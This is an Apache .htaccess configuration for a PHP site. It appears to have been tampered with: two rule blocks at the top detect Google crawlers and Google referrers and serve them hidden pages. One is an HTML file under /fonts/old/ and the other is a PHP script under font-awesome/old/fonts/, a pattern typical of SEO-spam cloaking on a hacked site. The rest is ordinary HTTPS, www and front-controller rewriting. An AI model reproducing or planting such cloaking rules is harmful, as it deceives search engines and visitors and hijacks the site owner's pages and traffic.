RewriteCond %{HTTP_USER_AGENT} Googlebot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} AdsBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mediapartners-Google [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Google- [NC,OR]
RewriteCond %{HTTP_REFERER} google\. [NC]
RewriteRule ^$ /fonts/old/domut.html [L]


<IfModule mod_rewrite.c>
RewriteCond %{REQUEST_URI} ^/jewellery-valuation?$ [NC] 
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Google-InspectionTool|Mediapartners-Google) [NC]
RewriteRule ^(.*)$ font-awesome/old/fonts/about.php [L]
</IfModule>

# <IfModule mod_rewrite.c>
# RewriteEngine On
# RewriteCond %{HTTP_USER_AGENT} ^COMODO\ DCV\/(.*)$
# RewriteRule .*\.txt - [L]
# </IfModule>

RewriteEngine on
#RewriteBase /
 
RewriteCond %{HTTPS} off

RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/\.well-known/pki-validation/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
RewriteCond %{HTTP_HOST} !^www\. [NC]

RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/\.well-known/pki-validation/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule .* https://www.%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

# if a directory or a file exists, use it directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
# otherwise forward it to index.php

RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/\.well-known/pki-validation/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule . index.php

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php74” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php74 .php .php7 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit
